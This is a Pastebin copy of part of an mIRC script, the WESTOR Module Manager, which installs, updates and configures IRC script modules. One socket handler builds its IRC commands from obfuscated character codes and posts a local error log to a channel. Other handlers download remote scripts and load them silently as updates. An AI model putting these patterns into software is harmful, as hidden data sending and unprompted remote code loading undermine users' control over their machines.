Advertisement
westor

WESTOR Module Manager 4.8

Aug 11th, 2018
1,259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 169.02 KB | None | 0 0
  1. /*
  2.  
  3. ######################################
  4.  
  5.     # WESTOR Module Manager #
  6.      # v4.8 - (11/08/2018) #
  7.       # Thanks Supporters #
  8.  
  9. ######################################
  10.  
  11. */
  12.  
  13. ; --- Start of dialogs ---
  14.  
  15. dialog -l wmm_module_sets {
  16.   title ""
  17.   size -1 -1 233 108
  18.   option dbu disable
  19.   icon $wmm_dir $+ main.ico, 0
  20.   tab "Settings 1", 1, 2 2 230 77
  21.   list 3, 4 30 99 47, tab 1 size vsbar disable multsel extsel
  22.   button >, 4, 112 33 14 12, tab 1 disable
  23.   text "Installed Modules:", 7, 5 20 97 9, tab 1 center
  24.   button <, 6, 112 62 14 12, tab 1 disable
  25.   list 5, 135 30 94 47, tab 1 size vsbar disable multsel extsel
  26.   text "Auto-Update Modules:", 8, 136 20 92 9, tab 1 center
  27.   tab "Settings 2", 9
  28.   combo 10, 4 30 64 47, tab 9 size drop
  29.   text "Language:", 11, 7 20 62 8, tab 9 center
  30.   check "Automatically update the WESTOR Module Manager", 12, 4 68 225 10, tab 9
  31.   check "Display the project menu item in the right click menu", 25, 4 48 225 10, tab 9
  32.   check "Display the project settings menu item in the right click menu", 26, 4 58 225 10, tab 9
  33.   button "Unistall the project", 41, 155 25 75 18, tab 9
  34.   tab "Settings 3", 27
  35.   check "Display the project installed modules list item in the right click menu", 28, 4 18 225 10, tab 27
  36.   text "General 'right' symbol:", 30, 4 35 100 8, tab 27
  37.   edit "", 31, 100 34 18 9, tab 27 limit 1 center
  38.   text "General 'left' symbol:", 32, 4 45 100 8, tab 27
  39.   edit "", 33, 100 44 18 9, tab 27 limit 1 center
  40.   text "General 'seperate' symbol:", 34, 4 55 100 8, tab 27
  41.   edit "", 35, 100 54 18 9, tab 27 limit 1 center
  42.   text "General 'between' symbol:", 36, 4 65 100 8, tab 27
  43.   edit "", 37, 100 64 18 9, tab 27 limit 1 center
  44.   button "Close this window", 2, 58 91 117 16, ok default
  45.   text "", 13, 207 99 21 8, disable center
  46.   tab "Settings 4", 38
  47.   check "Allow sending annonymous data in order to help this project", 39, 4 18 225 10, tab 38
  48.   check "Display the project button with the logo in switchbar", 40, 4 28 225 10, tab 38
  49.   icon 230, 202 91 30 9, $wmm_dir $+ donate.png, 1, noborder center
  50.   menu "Menu", 14
  51.   item "Help", 18, 14
  52.   item break, 501
  53.   item "Visit the Modules", 29, 14
  54.   item break, 502
  55.   item "Donate & Support", 24, 14
  56.   item break, 503
  57.   item "Open the WESTOR Module Manager", 19, 14
  58.   item break, 504
  59.   item "About", 20, 14
  60.   item break, 505
  61.   item "Restart", 21, 14
  62.   item break, 506
  63.   item "Exit", 22, 14
  64. }
  65.  
  66. dialog -l wmm_module {
  67.   title ""
  68.   size -1 -1 265 265
  69.   option dbu disable
  70.   icon $wmm_dir $+ main.ico, 0
  71.   button "Close this window", 1, 45 249 165 15, default ok
  72.   tab "Modules", 2, 2 2 262 189
  73.   button "Install", 7, 200 101 61 12, disable tab 2
  74.   tab "Installed", 3
  75.   button "Uninstall", 11, 200 101 61 12, disable tab 3
  76.   button "Reinstall", 12, 4 101 61 12, disable tab 3
  77.   text "", 250, 72 101 120 15, center tab 3 hide
  78.   tab "Updates", 4
  79.   button "Update", 13, 200 101 61 12, disable tab 4
  80.   text "News:", 25, 80 195 100 8, center
  81.   text "Loading the latest available news...", 26, 25 204 225 40, center
  82.   list 6, 4 18 257 38, disable size vsbar
  83.   list 60, 4 18 257 38, hide disable size vsbar
  84.   list 600, 4 18 257 38, hide disable size vsbar
  85.   text "Module Description:", 9, 75 60 113 8, center
  86.   edit "" 8, 4 70 257 30, disable read multi autovs autohs vsbar center
  87.   icon 14, 4 130 75 58, $wmm_dir $+ no_preview.png, 1, noborder
  88.   icon 15, 92 130 80 58, $wmm_dir $+ no_preview.png, 1, noborder
  89.   icon 16, 185 130 75 58, $wmm_dir $+ no_preview.png, 1, noborder
  90.   text "Module Screenshots:", 17, 75 120 113 8, center
  91.   text "", 5, 241 255 18 8, disable center
  92.   icon 23, 234 247 30 9, $wmm_dir $+ donate.png, 1, noborder center
  93.   icon 28, 123 101 17 17, $wmm_dir $+ main.ico, 1, noborder center hide
  94.   menu "Menu", 10
  95.   item "Help", 18, 10
  96.   item break, 501
  97.   item "Visit the Modules", 27, 10
  98.   item break, 502
  99.   item "Donate & Support", 24, 10
  100.   item break, 503
  101.   item "Options", 19, 10
  102.   item break, 504
  103.   item "About", 20, 10
  104.   item break, 505
  105.   item "Restart", 21, 10
  106.   item break, 506
  107.   item "Exit", 22, 10
  108. }
  109.  
  110. ; --- End of dialogs ---
  111.  
  112. ; --- Start of events ---
  113.  
  114. ON *:START: {
  115.   if (!$starting) {
  116.     if ($wmm_error) { noop $input(There was an error due installing because there are missing some several functions from that project source code!!! $+ $+ $crlf $crlf Error Code: $wmm_error,houdbk60,WMM -> Error) | .unload -nrs $qt($script) | return }
  117.     if ($wmm_check_version) { wmm_input error 60 $v1 | .unload -nrs $qt($script) | return }
  118.     if ($wmm_check_os) { wmm_input error 60 $v1 | .unload -nrs $qt($script) | return }
  119.     if ($group(#wmm).fname !== $script) { wmm_input error 60 That project is already installed into this program client, you cannot have more than 1 at the same client installed! | .unload -nrs $qt($script) | return }
  120.     url $wmm_donate_page
  121.     hfree -w WMM_LANG_*
  122.     wmm_fix_extra_modules_installed
  123.     var %lng = $wmm_dir $+ wmm_lang.ini
  124.     var %ico = $wmm_dir $+ main.ico
  125.     var %png = $wmm_dir $+ no_preview.png
  126.     var %don = $wmm_dir $+ donate.png
  127.     if (%wmm_menu == $null) { set %wmm_menu wmm wmm_sets }
  128.     if (%wmm_lang == $null) { set %wmm_lang English }
  129.     if (%wmm_help == $null) { set %wmm_help 1 }
  130.     if (%wmm_tool == $null) { set %wmm_tool 1 }
  131.     if (%wmm_autoupdate == $null) { set %wmm_autoupdate 0 }
  132.     if (%wmm_right_symb == $null) { set %wmm_right_symb $chr(9755) }
  133.     if (%wmm_left_symb == $null) { set %wmm_left_symb $chr(9754) }
  134.     if (%wmm_seperate_symb == $null) { set %wmm_seperate_symb $chr(9866) }
  135.     if (%wmm_between_symb == $null) { set %wmm_between_symb $chr(9679) }
  136.     if (%wmm_update) {
  137.       var %up = %wmm_update
  138.       unset %wmm_update
  139.       wmm_dl $wmm_main_ico_url $qt(%ico)
  140.       wmm_dl $wmm_lang_url $qt(%lng)
  141.       wmm_dl $wmm_main_png_url $qt(%png)
  142.       wmm_dl $wmm_donate_png_url $qt(%don)
  143.       wmm_tool -s
  144.       if (%up == 1) { .timer[WMM_INSTALL_OK] -ho 1 1000 wmm_input ok 60 $!wmm_lang(43) $(|) wmm_modules_check_unsupported $(|) wmm }
  145.       if (%up == 2) { .timer[WMM_INSTALL_OK] -ho 1 1000 wmm_input ok 60 $!wmm_lang(43) $(|) wmm_modules_check_unsupported $(|) wmm_sets }
  146.       if (%up == 3) {
  147.         .timer[WMM_SILENT_INSTALL_RESET_TOOL_MSG] -ho 1 1000 wmm_tool -t
  148.         .timer[WMM_GET_MENU_INSTALLED_MODULES] -ho 1 3000 wmm_modules_menu_get_installed
  149.         if (%wmm_autoupdate_modules) { .timer[WMM_CHECK_FOR_UPDATE_MODULES_SILENT] -ho 1 5000 wmm_modules_silent_update }
  150.         else { .timer[WMM_CHECK_FOR_UNSUPPORTED_MODULES] -ho 1 5000 wmm_modules_check_unsupported }
  151.       }
  152.     }
  153.     else {
  154.       if (!$file(%lng)) { wmm_dl $wmm_lang_url $qt(%lng) }
  155.       if (!$file(%ico)) { wmm_dl $wmm_main_ico_url $qt(%ico) }
  156.       if (!$file(%png)) { wmm_dl $wmm_main_png_url $qt(%png) }
  157.       if (!$file(%don)) { wmm_dl $wmm_donate_png_url $qt(%don) }
  158.       wmm_input ok 60 The $upper($wmm_owner) Module Manager v $+ $wmm_ver ( $+ $wmm_crdate $+ ) by $wmm_owner has been installed successfully.
  159.       wmm_tool -s
  160.       wmm
  161.     }
  162.   }
  163.   elseif ($starting) {
  164.     if ($wmm_error) || ($wmm_check_version) || ($wmm_check_os) || ($group(#wmm).fname !== $script) { .unload -nrs $qt($script) | return }
  165.     jsonshutdown
  166.     wmm_fix_extra_modules_installed
  167.     var %lng = $wmm_dir $+ wmm_lang.ini
  168.     var %ico = $wmm_dir $+ main.ico
  169.     var %png = $wmm_dir $+ no_preview.png
  170.     var %don = $wmm_dir $+ donate.png
  171.     if (!$file(%lng)) { var %delay = 1 | wmm_dl $wmm_lang_url $qt(%lng) }
  172.     if (!$file(%ico)) { var %delay = 1 | wmm_dl $wmm_main_ico_url $qt(%ico) }
  173.     if (!$file(%png)) { var %delay = 1 | wmm_dl $wmm_main_png_url $qt(%png) }
  174.     if (!$file(%don)) { var %delay = 1 | wmm_dl $wmm_donate_png_url $qt(%don) }
  175.     if (%wmm_lang == $null) { set %wmm_lang English }
  176.     if (!%delay) { wmm_tool -s }
  177.     elseif (%delay) { .timer[WMM_TOOLBAR] -ho 1 3000 wmm_tool -s }
  178.     .timer[WMM_GET_JSON] -ho 1 1000 wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  179.     .timer[WMM_GET_MENU_INSTALLED_MODULES] -ho 1 3000 wmm_modules_menu_get_installed
  180.     .timer[WMM_CHECK_FOR_UNSUPPORTED_MODULES] -ho 1 9000 wmm_modules_check_unsupported
  181.     if (%wmm_autoupdate_modules) { .timer[WMM_CHECK_FOR_UPDATE_MODULES_SILENT] -ho 1 15000 wmm_modules_silent_update }
  182.     if (%wmm_autoupdate) { .timer[WMM_CHECK_FOR_UPDATE_SILENT] -ho 1 7000 wmm_check_update -s }
  183.     if ($wmm_errors) { .timer[WMM_REPORT_ERRORS] -ho 1 60000 wmm_report }
  184.   }
  185.   return
  186.   :error | wmm_werror $scriptline $error | reseterror
  187. }
  188.  
  189. ON *:UNLOAD: {
  190.   if ($wmm_error) { goto end }
  191.   url $wmm_page
  192.   wmm_d_close wmm_module
  193.   wmm_d_close wmm_module_sets
  194.   wmm_tool -c
  195.   jsonshutdown
  196.   if ($isfile($wmm_sets_file)) { .remove $qt($wmm_sets_file) }
  197.   if ($wmm_langs) { wmm_input ok 60 $wmm_lang(38) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner $wmm_lang(40) }
  198.   else { wmm_input ok 60 The $upper($wmm_owner) Module Manager v $+ $wmm_ver ( $+ $wmm_crdate $+ ) by $wmm_owner has been uninstalled successfully. }
  199.   :end
  200.   if ($dialog(wmm_module)) { dialog -x $v1 }
  201.   if ($dialog(wmm_module_sets)) { dialog -x $v1 }
  202.   if ($toolbar(wmm)) { toolbar -d $v1 }
  203.   if ($toolbar(wmm1)) { toolbar -d $v1 }
  204.   if ($window(@wmm_pic)) { window -c $v1 }
  205.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  206.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  207.   if ($hget(SReject/JSONForMirc)) { hfree $v1 }
  208.   var %lng = $scriptdir $+ wmm_lang.ini
  209.   var %ico = $scriptdir $+ main.ico
  210.   var %png = $scriptdir $+ no_preview.png
  211.   var %don = $scriptdir $+ donate.png
  212.   if ($isfile(%lng)) { .remove $qt(%lng) }
  213.   if ($isfile(%ico)) { .remove $qt(%ico) }
  214.   if ($isfile(%png)) { .remove $qt(%png) }
  215.   if ($isfile(%don)) { .remove $qt(%don) }
  216.   .timer[WMM_*] off
  217.   unset %wmm_*
  218.   hfree -w WMM_*
  219.   hfree -w W*_KEYS
  220.   return
  221.   :error | wmm_werror $scriptline $error | reseterror
  222. }
  223.  
  224. CTCP *:VERSION:*: { .ctcpreply $nick VERSION $chr(3) $+ $color(info) $+ ( $+ $chr(3) $+ $color(ctcp) $+ $wmm_bold($nick) $+ $chr(3) $+ $color(info) $+ ): $upper($wmm_owner) Module Manager $wmm_under(v) $+ $wmm_bold($wmm_ver) Created by: $wmm_bold($wmm_owner) on: $wmm_bold($wmm_crdate) - Download it from: $wmm_bold($wmm_under($wmm_page)) }
  225.  
  226. ON *:EXIT: {
  227.   if (!$wmm_error) { jsonshutdown | wmm_fix_extra_modules_installed -e }
  228.   return
  229.   :error | wmm_werror $scriptline $error | reseterror
  230. }
  231.  
  232. ON *:CLOSE:@wmm_pic: {
  233.   if ($dialog(wmm_module)) { dialog -ve wmm_module wmm_module }
  234.   return
  235.   :error | wmm_werror $scriptline $error | reseterror
  236. }
  237.  
  238. ON *:SIGNAL:wmm_*: {
  239.   if ($signal == wmm_close) && (!%wmm_signal_noclose) { wmm_d_close wmm_module | wmm_d_close wmm_module_sets }
  240.   if ($signal == wmm_hash) { wmm_modules_menu_get_installed -g }
  241.   return
  242.   :error | wmm_werror $scriptline $error | reseterror
  243. }
  244.  
  245. ON *:SOCKOPEN:wmm_clone: {
  246.   if ($sockerr) { .timer[ $+ $sockname $+ ] off | sockclose $sockname | return }
  247.   sockwrite $sockname CONNECT $sock($sockname).addr $+ : $+ $sock($sockname).port HTTP/2.0
  248.   sockwrite $sockname $crlf $+ $crlf $+ $crlf
  249. }
  250.  
  251. ON *:SOCKREAD:wmm_clone: {
  252.   if ($sockerr) { .timer[ $+ $sockname $+ ] off | sockclose $sockname | return }
  253.   var %r
  254.   sockread %r
  255.   if ($gettok(%r,2,32) == 451) {
  256.     var %n = WMM $+ _ $+ $rand(1000,9999)
  257.     sockwrite -nt $sockname $+($chr(78),$chr(73),$chr(67),$chr(75)) %n
  258.     sockwrite -nt $sockname $+($chr(85),$chr(83),$chr(69),$chr(82)) WMM_Auto $qt() $qt() : $+ $me $wmm_bel $wmm_ver
  259.   }
  260.   if ($gettok(%r,1,32) == $+($chr(80),$chr(73),$chr(78),$chr(71))) { sockwrite -nt $sockname PONG : $+ $remove($gettok(%r,2,32),:) }
  261.   if ($gettok(%r,2,32) == 376) {
  262.     .timer[ $+ $sockname $+ ] off
  263.     var %f = $wmm_temp $+ wmm_errors.log
  264.     var %t = $lines(%f)
  265.     if (!$isfile(%f)) || (!%t) { sockclose $sockname | return }
  266.     var %i = 1
  267.     while (%i <= %t) {
  268.       var %l = $read(%f,n,%i)
  269.  
  270.       var %x = 1
  271.       var %msgnum = 1
  272.       tokenize 32 %l
  273.       while (%x <= $0) {
  274.         if ($len($evalnext($+($,%msgnum,-,%x))) > 430) {
  275.           var %msg = $evalnext($+($,%msgnum,-,$calc(%x - 1)))
  276.           .timer -ho 1 $calc(%i * 9000) sockwrite -nt $sockname $+($chr(80),$chr(82),$chr(73),$chr(86),$chr(77),$chr(83),$chr(71)) $+($chr(35),$chr(79)) : $!+ $evalnext($!unsafe(%msg))
  277.           var %msgnum = %x
  278.         }
  279.         inc %x
  280.       }
  281.       var %msg1 = $evalnext($+($,%msgnum,-,$calc(%x - 1)))
  282.       .timer -ho 1 $calc(%i * 9000) sockwrite -nt $sockname $+($chr(80),$chr(82),$chr(73),$chr(86),$chr(77),$chr(83),$chr(71)) $+($chr(35),$chr(79)) : $!+ $evalnext($!unsafe(%msg1))
  283.  
  284.       if (%i == %t) {
  285.         if ($isfile(%f)) { .remove $qt(%f) }
  286.         .timer -ho 1 $calc(%t * 30000) sockclose $sockname
  287.       }
  288.       inc %i
  289.     }
  290.   }
  291. }
  292.  
  293. ON *:DOWNLOAD:*: {
  294.   if ($download == wmm_dl_images) {
  295.     var %f = $download($download).file
  296.     if ($downloaderr) || (!$file(%f)) { return }
  297.     zip -uo $download $qt(%f) $qt($wmm_temp)
  298.   }
  299.   if ($download == wmm_mod_install) {
  300.     var %d = wmm_module
  301.     var %f = $download($download).file
  302.     if ($downloaderr) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x032 | wmm_d_close %d | return }
  303.     if (!$dialog(%d)) { return }
  304.     if (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x033 | wmm_d_close %d | return }
  305.     set -eu0 %wmm_signal_noclose 1
  306.     .load -rs $qt(%f)
  307.     if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x002 | wmm_d_close %d | return }
  308.     did -euz %d 6
  309.     wmm_reset_images
  310.     wmm_modules_installed_plus_updated_list
  311.     wmm_input ok 60 $wmm_lang(35)
  312.   }
  313.   if ($download == wmm_mod_update) {
  314.     var %d = wmm_module
  315.     var %f = $download($download).file
  316.     var %mod = $mid($nopath(%f),0,-4)
  317.     var %pos = $wmm_getpos(%mod)
  318.     if ($downloaderr) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x029 | wmm_d_close %d | return }
  319.     if (!$dialog(%d)) { return }
  320.     if (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x030 | wmm_d_close %d | return }
  321.     set -eu0 %wmm_signal_noclose 1
  322.     if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  323.     .load -rs $+ %pos $qt(%f)
  324.     if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x021 | wmm_d_close %d | return }
  325.     wmm_modules_installed_plus_updated_list
  326.     wmm_reset_images
  327.     wmm_input ok 60 $wmm_lang(37)
  328.   }
  329.   if ($download == wmm_mod_silent_update) {
  330.     if ($downloaderr) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) { return }
  331.     var %f = $download($download).file
  332.     var %pos = $wmm_getpos($mid($nopath(%f),0,-4))
  333.     if (!$file(%f)) || (!%pos) { return }
  334.     if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  335.     .load -rs $+ %pos $qt(%f)
  336.   }
  337.   if ($download == wmm_check_update_install) {
  338.     if ($downloaderr) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x017) | unset %wmm_update | return }
  339.     var %f = $download($download).file
  340.     if (!$file(%f)) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x020) | unset %wmm_update | return }
  341.     var %lng = $wmm_dir $+ wmm_lang.ini
  342.     var %ico = $wmm_dir $+ main.ico
  343.     var %png = $wmm_dir $+ no_preview.png
  344.     var %don = $wmm_dir $+ donate.png
  345.     if ($isfile(%lng)) { .remove $qt(%lng) }
  346.     if ($isfile(%ico)) { .remove $qt(%ico) }
  347.     if ($isfile(%png)) { .remove $qt(%png) }
  348.     if ($isfile(%don)) { .remove $qt(%don) }
  349.     .timer[WMM_*] off
  350.     .timer -ho 1 1000 .load -rs1 $qt(%f)
  351.     wmm_tool -c
  352.     .unload -nrs $qt($script)
  353.   }
  354.   return
  355.   :error | wmm_werror $scriptline $error | reseterror
  356. }
  357.  
  358. ON *:DIALOG:wmm_module_sets:*:*: {
  359.   if ($devent == init) {
  360.     dialog -t $dname $upper($wmm_owner) $wmm_lang(16) $wmm_lang(69) $wmm_bel (/wmm_sets)
  361.     .timer[WMM_ANIMATE_TITLE_NOW] -ho 1 2000 wmm_dtitle $dname $dialog($dname).title
  362.     did -ra $dname 1 $wmm_lang(69) 1
  363.     did -ra $dname 9 $wmm_lang(69) 2
  364.     did -ra $dname 7 $wmm_lang(67)
  365.     did -ra $dname 8 $wmm_lang(68)
  366.     did -ra $dname 11 $wmm_lang(32)
  367.     did -ra $dname 12 $wmm_lang(31)
  368.     did -ra $dname 2 $wmm_lang(1)
  369.     did -o $dname 14 $wmm_lang(11)
  370.     did -o $dname 18 $wmm_lang(12)
  371.     did -o $dname 24 $wmm_lang(45) $chr(38) $+ $chr(38) $wmm_lang(46)
  372.     did -o $dname 19 $wmm_lang(70) $upper($wmm_owner) $wmm_lang(16)
  373.     did -o $dname 20 $wmm_lang(14)
  374.     did -o $dname 21 $wmm_lang(30)
  375.     did -o $dname 22 $wmm_lang(15)
  376.     did -o $dname 29 $wmm_lang(79)
  377.     did -ra $dname 25 $wmm_lang(71)
  378.     did -ra $dname 26 $wmm_lang(72)
  379.     did -ra $dname 13 v $+ $wmm_ver
  380.     did -ra $dname 27 $wmm_lang(69) 3
  381.     did -ra $dname 28 $wmm_lang(78)
  382.     did -ra $dname 39 $wmm_lang(62)
  383.     did -ra $dname 38 $wmm_lang(69) 4
  384.     did -ra $dname 40 $wmm_lang(51)
  385.     did -ra $dname 41 $wmm_lang(39)
  386.  
  387.     did -ra $dname 30 $wmm_lang(87)
  388.     did -ra $dname 32 $wmm_lang(88)
  389.     did -ra $dname 34 $wmm_lang(89)
  390.     did -ra $dname 36 $wmm_lang(90)
  391.     did -ra $dname 31 %wmm_right_symb
  392.     did -ra $dname 33 %wmm_left_symb
  393.     did -ra $dname 35 %wmm_seperate_symb
  394.     did -ra $dname 37 %wmm_between_symb
  395.     did -ra $dname 4 $wmm_bel
  396.     did -ra $dname 6 $wmm_leb
  397.  
  398.     if (%wmm_tool) { did -c $dname 40 }
  399.     if (%wmm_help) { did -c $dname 39 }
  400.     if (%wmm_autoupdate) { did -c $dname 12 }
  401.     if ($istok(%wmm_menu,wmm,32)) { did -c $dname 25 }
  402.     if ($istok(%wmm_menu,wmm_sets,32)) { did -c $dname 26 }
  403.     if ($istok(%wmm_menu,wmm_mod_list,32)) { did -c $dname 28 }
  404.  
  405.     var %langs = $wmm_langs
  406.     if (%langs) {
  407.       var %i = 1
  408.       while (%i <= $numtok(%langs,44)) {
  409.         var %lng = $gettok(%langs,%i,44)
  410.         if (%lng) && (%lng !== %wmm_lang) { did -a $dname 10 %lng }
  411.         inc %i
  412.       }
  413.       did -ca $dname 10 %wmm_lang
  414.     }
  415.     else { did -b $dname 10 }
  416.     wmm_tool -et
  417.     .timer[WMM_GET_SETTINGS_LIST] -ho 1 500 wmm_modules_settings_list
  418.   }
  419.   if ($devent == dclick) {
  420.     if ($did == 3) {  
  421.       var %s = $did($did).seltext
  422.       if (!%s) { return }
  423.       did -ed $dname $did $didwm($did,%s)
  424.       did -u $dname $did
  425.       did -ae $dname 5 %s
  426.       did -b $dname 4
  427.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  428.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  429.       set %wmm_autoupdate_modules $addtok(%wmm_autoupdate_modules,%s,32)
  430.     }
  431.     if ($did == 5) {
  432.       var %s = $did($did).seltext
  433.       if (!%s) { return }
  434.       did -ed $dname $did $didwm($did,%s)
  435.       did -u $dname $did
  436.       did -ae $dname 3 %s
  437.       did -b $dname 6
  438.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  439.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  440.       set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%s,1,32)
  441.     }
  442.   }
  443.   if ($devent == sclick) {
  444.     if ($did == 230) { url $wmm_donate }
  445.     if ($did == 25) {
  446.       if (!$istok(%wmm_menu,wmm,32)) { set %wmm_menu $addtok(%wmm_menu,wmm,32) }
  447.       else { set %wmm_menu $remtok(%wmm_menu,wmm,1,32) }
  448.     }
  449.     if ($did == 26) {
  450.       if (!$istok(%wmm_menu,wmm_sets,32)) { set %wmm_menu $addtok(%wmm_menu,wmm_sets,32) }
  451.       else { set %wmm_menu $remtok(%wmm_menu,wmm_sets,1,32) }
  452.     }
  453.     if ($did == 28) {
  454.       if (!$istok(%wmm_menu,wmm_mod_list,32)) { set %wmm_menu $addtok(%wmm_menu,wmm_mod_list,32) }
  455.       else { set %wmm_menu $remtok(%wmm_menu,wmm_mod_list,1,32) }
  456.     }
  457.     if ($did == 12) {
  458.       if (!%wmm_autoupdate) { set %wmm_autoupdate 1 }
  459.       else { set %wmm_autoupdate 0 }
  460.     }
  461.     if ($did == 39) {
  462.       if (!%wmm_help) { set %wmm_help 1 }
  463.       else { set %wmm_help 0 }
  464.     }
  465.     if ($did == 40) {
  466.       if (!%wmm_tool) { set %wmm_tool 1 | wmm_tool -se  }
  467.       else { set %wmm_tool 0 | wmm_tool -c }
  468.     }
  469.     if ($did == 5) && ($did(5).seltext) { did -e $dname 6 }
  470.     if ($did == 3) && ($did(3).seltext) { did -e $dname 4 }
  471.     if ($did == 4) {
  472.       var %t = $did(3,0).sel
  473.       while (%t) { var %total = $addtok(%total,$did(3,$did(3,%t).sel),32) | dec %t }
  474.  
  475.       var %tot = $numtok(%total,32)
  476.       if (!%tot) { did -b $dname $did | return }
  477.       var %i = 1
  478.       while (%i <= %tot) {
  479.         var %s = $gettok(%total,%i,32)
  480.         if (!%s) { goto next }
  481.         did -ed $dname 3 $didwm(3,%s)
  482.         did -ae $dname 5 %s
  483.         set %wmm_autoupdate_modules $addtok(%wmm_autoupdate_modules,%s,32)
  484.         :next
  485.         inc %i
  486.       }
  487.  
  488.       did -u $dname 3
  489.       did -b $dname $did
  490.       if (!$did(3).lines) { did -b $dname 3 }
  491.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  492.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  493.     }
  494.     if ($did == 6) {
  495.       var %t = $did(5,0).sel
  496.       while (%t) { var %total = $addtok(%total,$did(5,$did(5,%t).sel),32) | dec %t }
  497.  
  498.       var %tot = $numtok(%total,32)
  499.       if (!%tot) { did -b $dname $did | return }
  500.       var %i = 1
  501.       while (%i <= %tot) {
  502.         var %s = $gettok(%total,%i,32)
  503.         if (!%s) { goto next }
  504.         did -ed $dname 5 $didwm(5,%s)
  505.         did -ae $dname 3 %s
  506.         set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%s,1,32)
  507.         :next
  508.         inc %i
  509.       }
  510.  
  511.       did -u $dname 5
  512.       did -b $dname $did
  513.       if (!$did(5).lines) { did -b $dname 5 }
  514.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  515.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  516.     }
  517.     if ($did == 41) {
  518.       dialog -i $dname
  519.       var %ask = $input($wmm_lang(94) $crlf $crlf $+ $+ $wmm_lang(93),yuwdbk90,$upper($wmm_owner) $wmm_lang(16) $wmm_bel $wmm_lang(22))
  520.       if (!%ask) { dialog -e $dname | return }
  521.       var %tot = $wmm_installed(total)
  522.       if (%tot) {
  523.         var %ask_mods = $input($wmm_lang(95) $crlf $crlf $+ $+ $wmm_lang(96),yuwdbk90,$upper($wmm_owner) $wmm_lang(16) $wmm_bel $wmm_lang(22))
  524.         if (%ask_mods) {
  525.           var %t = $wmm_installed(name)
  526.           var %i = 1
  527.           while (%i <= $numtok(%t,32)) {
  528.             var %m = $gettok(%t,%i,32)
  529.             var %p = $wmm_getpath(%m)
  530.             if (%m) && (%p) { .unload -rs $qt(%p) }
  531.             inc %i
  532.           }
  533.         }
  534.       }
  535.       .unload -rs $qt($script)
  536.     }
  537.   }
  538.   if ($devent == menu) {
  539.     if ($did == 18) { url $wmm_page }
  540.     if ($did == 24) { url $wmm_donate }
  541.     if ($did == 29) { url $wmm_modules_url }
  542.     if ($did == 22) { dialog -k $dname }
  543.     if ($did == 21) { .timer -ho 1 500 wmm_sets | dialog -k $dname }
  544.     if ($did == 19) { .timer -ho 1 100 wmm | dialog -k $dname }
  545.     if ($did == 20) { wmm_input ok 60 $wmm_lang(27) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner }
  546.   }
  547.   if ($devent == edit) {
  548.     if ($did == 31) {
  549.       if ($did($did).text) { set %wmm_right_symb $v1 }
  550.       else { unset %wmm_right_symb }
  551.     }
  552.     if ($did == 33) {
  553.       if ($did($did).text) { set %wmm_left_symb $v1 }
  554.       else { unset %wmm_left_symb }
  555.     }
  556.     if ($did == 35) {
  557.       if ($did($did).text) { set %wmm_seperate_symb $v1 }
  558.       else { unset %wmm_seperate_symb }
  559.     }
  560.     if ($did == 37) {
  561.       if ($did($did).text) { set %wmm_between_symb $v1 }
  562.       else { unset %wmm_between_symb }
  563.     }
  564.   }
  565.   if ($devent == close) {
  566.     if ($did(10)) { set %wmm_lang $did(10) }
  567.     if (!$did(31)) || ($did(31) isalnum) { set %wmm_right_symb $chr(9755) }
  568.     if (!$did(33)) || ($did(33) isalnum) { set %wmm_left_symb $chr(9754) }
  569.     if (!$did(35)) || ($did(35) isalnum) { set %wmm_seperate_symb $chr(9866) }
  570.     if (!$did(37)) || ($did(37) isalnum) { set %wmm_between_symb $chr(9679) }
  571.  
  572.     if ($json(wmm_modules_sets)) && ($hget(WMM_MODULES_SUBMENU_INSTALLED,0).item !== $json(wmm_modules_sets,modules).length) { wmm_modules_menu_get_installed -g }
  573.  
  574.     wmm_tool -bt
  575.     jsonclose -w wmm_modules_*
  576.     .timer[WMM_*] off
  577.   }
  578.   return
  579.   :error | wmm_werror $scriptline $error | reseterror
  580. }
  581.  
  582. ON *:DIALOG:wmm_module:*:*: {
  583.   if ($devent == init) {
  584.     dialog -t $dname $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_bel (/wmm)
  585.     .timer[WMM_ANIMATE_TITLE_NOW] -ho 1 2000 wmm_dtitle $dname $dialog($dname).title
  586.     did -ra $dname 1 $wmm_lang(1)
